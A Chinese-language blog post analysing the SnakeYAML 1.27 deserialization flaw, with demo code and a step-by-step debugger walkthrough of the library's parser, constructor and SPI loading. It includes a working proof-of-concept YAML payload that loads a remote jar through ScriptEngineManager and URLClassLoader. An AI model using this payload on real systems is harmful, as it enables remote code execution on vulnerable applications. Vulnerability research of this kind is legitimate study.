初探snakeYaml反序列化

0x00前言

前几天🐑了,所以这段时间也没有学习。今天快好了,抓紧来学一下🙃🙃🙃

0x01漏洞原理

yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManagerpayload并利用SPI机制通过URLClassLoader或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行。

0x02环境

jdk:8u301

maven:

<!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml -->
<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

0x03序列化与反序列化

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数来实现yaml格式数据对象之间相互转化。

  • Yaml.dump() : 将对象转化为yaml格式的数据
  • Yaml.load(): 将传入的字符串或文件,反序列化为对象

序列化

package com.le1a.snakeyaml.user;

public class User {
    public String name;

    public void setName(String name) {
        this.name = name;
    }

    public String getName() {
        return name;
    }
}
package com.le1a.snakeyaml.controller;

import com.le1a.snakeyaml.user.User;
import com.le1a.snakeyaml.user.User2;
import org.yaml.snakeyaml.Yaml;

public class SankeYamlDemo {
    public static void main(String[] args) {
        Serialize();
    }


    public static void Serialize(){
        User user = new User();
        user.setName("Le1aaaaa");
        Yaml yaml = new Yaml();
        String dump = yaml.dump(user);
        System.out.println(dump);
    }
  //打印输出!!com.le1a.snakeyaml.user.User {name: Le1aaaaa}

这里的!!类似于Fastjson中的@type,用来指定想要反序列化成为的对象。

反序列化

我们可以通过构造一个新的User类,来看反序列化的过程会调用哪些方法。

package com.le1a.snakeyaml.user;

public class User2 {

    String name;
    int age;

    public User2() {
        System.out.println("User构造函数");
    }

    public String getName() {
        System.out.println("User.getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("User.setName");
        this.name = name;
    }

    public String getAge() {
        System.out.println("User.getAge");
        return name;
    }

    public void setAge(String name) {
        System.out.println("User.setAge");
        this.name = name;
    }

}
package com.le1a.snakeyaml.controller;

import com.le1a.snakeyaml.user.User;
import com.le1a.snakeyaml.user.User2;
import org.yaml.snakeyaml.Yaml;

public class SankeYamlDemo {
    public static void main(String[] args) {
        Deserialize();
    }


    public static void Serialize(){
        User user = new User();
        user.setName("Le1aaaaa");
        Yaml yaml = new Yaml();
        String dump = yaml.dump(user);
        System.out.println(dump);
    }

    public static void Deserialize(){
        String s = "!!com.le1a.snakeyaml.user.User2 {name: Le1aaaa, age: 18}";
        Yaml yaml = new Yaml();
        User2 user2 = yaml.load(s);

    }
}
1672042752685.png

发现会调用对象的构造函数和Set方法。

0x04 snakeYaml反序列化漏洞

漏洞复现

既然反序列化还原对象的过程中,会调用构造函数,那么我们构造一个恶意的对象,是否可以命令执行呢?

1672043129691.png

答案是可以的,但是本地肯定不会存在这样的恶意类。我们可以通过javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行。

GitHub有现成的项目: https://github.com/artsploit/yaml-payload,打成jar包之后,然后起一个http服务。

使用如下poc:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]
  ]]
]
1672043288408.png

调试分析

1672043812458.png

首先会调用StreamReader,跟进看一下。首先进入了上面的StreamReader,然后走到下面进行了一些赋值操作。

1672044051681.png

然后走到了loadFromReader

private Object loadFromReader(StreamReader sreader, Class<?> type) {
    Composer composer = new Composer(new ParserImpl(sreader), this.resolver, this.loadingConfig);
    this.constructor.setComposer(composer);
    return this.constructor.getSingleData(type);
}

他把StreamReader封装成了一个Composer对象,其中payload被封装在了composer->parser->scanner->reader->stream->str当中

1672044349528.png

在这个过程中,实例化了ParserImpl

1672044579940.png

然后走到同名方法中

public ParserImpl(Scanner scanner) {
    this.scanner = scanner;
    this.currentEvent = null;
    this.directives = new VersionTagsTuple((DumperOptions.Version)null, new HashMap(DEFAULT_TAGS));
    this.states = new ArrayStack(100);
    this.marks = new ArrayStack(10);
    this.state = new ParseStreamStart();
}
1672044718405.png

这里需要注意这个!! -> tag:yaml.org,2002:

之后调用constructor.setComposer()对封装好的composer对象赋值,最后走到constructor.getSingleData()方法中,然后调用getSingleNode(),这个方法会对payload进行处理把!!变成tag一类的标识

public Object getSingleData(Class<?> type) {
    Node node = this.composer.getSingleNode();
    if (node != null && !Tag.NULL.equals(node.getTag())) {
        if (Object.class != type) {
            node.setTag(new Tag(type));
        } else if (this.rootTag != null) {
            node.setTag(this.rootTag);
        }

        return this.constructDocument(node);
    } else {
        Construct construct = (Construct)this.yamlConstructors.get(Tag.NULL);
        return construct.construct(node);
    }
}
public Node getSingleNode() {
    this.parser.getEvent();
    Node document = null;
    if (!this.parser.checkEvent(ID.StreamEnd)) {
        document = this.getNode();
    }

    if (!this.parser.checkEvent(ID.StreamEnd)) {
        Event event = this.parser.getEvent();
        Mark contextMark = document != null ? document.getStartMark() : null;
        throw new ComposerException("expected a single document in the stream", contextMark, "but found another document", event.getStartMark());
    } else {
        this.parser.getEvent();
        return document;
    }
}
1672045069292.png

tag具体的替换和payload重新组合的逻辑在ParserImpl#parseNode()

1672046238339.png

现在payload就变成了

<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.ScriptEngineManager, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URLClassLoader, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URL, value=[<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=http://127.0.0.1:8000/yaml-payload.jar)>])>])>])>])>
1672046982200.png

最后把数据返回给constructDocument(node);

1672047107046.png

继续跟进constructObject(node)

protected Object constructObject(Node node) {
    return this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : this.constructObjectNoCheck(node);
}

再继续跟进到constructObjectNoCheck(node)

protected Object constructObjectNoCheck(Node node) {
    if (this.recursiveObjects.contains(node)) {
        throw new ConstructorException((String)null, (Mark)null, "found unconstructable recursive node", node.getStartMark());
    } else {
        this.recursiveObjects.add(node);
        Construct constructor = this.getConstructor(node);
        Object data = this.constructedObjects.containsKey(node) ? this.constructedObjects.get(node) : constructor.construct(node);
        this.finalizeConstruction(node, data);
        this.constructedObjects.put(node, data);
        this.recursiveObjects.remove(node);
        if (node.isTwoStepsConstruction()) {
            constructor.construct2ndStep(node, data);
        }

        return data;
    }
}
1672047478690.png

这两个值为空,所以执行constructor.construct(node),继续跟进

public Object construct(Node node) {
    try {
        return this.getConstructor(node).construct(node);
    } catch (ConstructorException var3) {
        throw var3;
    } catch (Exception var4) {
        throw new ConstructorException((String)null, (Mark)null, "Can't construct a java object for " + node.getTag() + "; exception=" + var4.getMessage(), node.getStartMark(), var4);
    }
}

继续跟进getConstructor(node).construct(node)

for(i$ = snode.getValue().iterator(); i$.hasNext(); argumentListx[index++] = Constructor.this.constructObject(argumentNode)) {
    argumentNode = (Node)i$.next();
    Class<?> type = c.getParameterTypes()[index];
    argumentNode.setType(type);
}

跟进constructObject(argumentNode),相当于又重新调用了

constructObjectNoCheck()->
BaseConstructor#construct()->
Contructor#construct()->
通过迭代Contructor#constructObject()

执行constructObject()后,接着又回去了,连续执行四次,直到recursiveObjects中包含刚才提到的五条值。

最终通过newInstance方法实例化,这里具体的话分为3步,首先是URL的实例化,之后是URLClassLoader的实例化,最终实例化ScriptEngineManager时才会真正的触发远程代码执行。

0x05 SPI机制

什么是SPI?让我们来看看网上是怎么说的:

SPI全称为 (Service Provider Interface),是JDK内置的一种服务提供发现机制。SPI是一种动态替换发现的机制,一种解耦非常优秀的思想。

SPI的工作原理: 就是ClassPath路径下的META-INF/services文件夹中, 以接口的全限定名来命名文件名,文件里面写该接口的实现。然后再资源加载的方式,读取文件的内容(接口实现的全限定名), 然后再去加载类。

说简单一点就是:SPI机制可以让我们调用接口,然后通过服务配置的方式寻找实现类并调用

1672559918741.png

本次使用的payload也是如此,他实现了ScriptEngineFactory接口

1672560230926.png
1672560367131.png

程序会通过java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()创建对象,并存到缓存和列表里面。

1672561786739.png

继续跟进init(loader);

1672561883332.png

继续跟进initEngines(loader);

1672562651292.png

这里会返回一个ServiceLoader,它就用到了SPI机制,通过远程地址寻找META-INF/services目录下的javax.script.ScriptEngineFactory然后去加载文件中指定的PoC类从而触发远程代码执行。

1672562887306.png

下面走到itr.next();继续跟进

1672563174427.png

继续跟进,走到ServiceLoader$LazyIterator#next()

1672563262077.png

这里调用了nextService(),继续跟进

1672563394363.png

这里反射获取了jdk.nashorn.api.scripting.NashornScriptEngineFactory,然后在后面进行了newInstance实例化。

然后继续跟进就会进行一次循环,进行第二次反射&实例化jar包中的PoC类AwesomeScriptEngineFactory

1672563709319.png
1672565115663.png

最终触发AwesomeScriptEngineFactory类的无参构造方法的恶意代码。

0x06 其他手法

C3P0

用到C3P0.WrapperConnectionPoolDataSource通过Hex序列化字节加载器达到二次反序列化

ScriptEngineManager

把恶意jar包写入进去,然后file协议加载本地jar

0x07 参考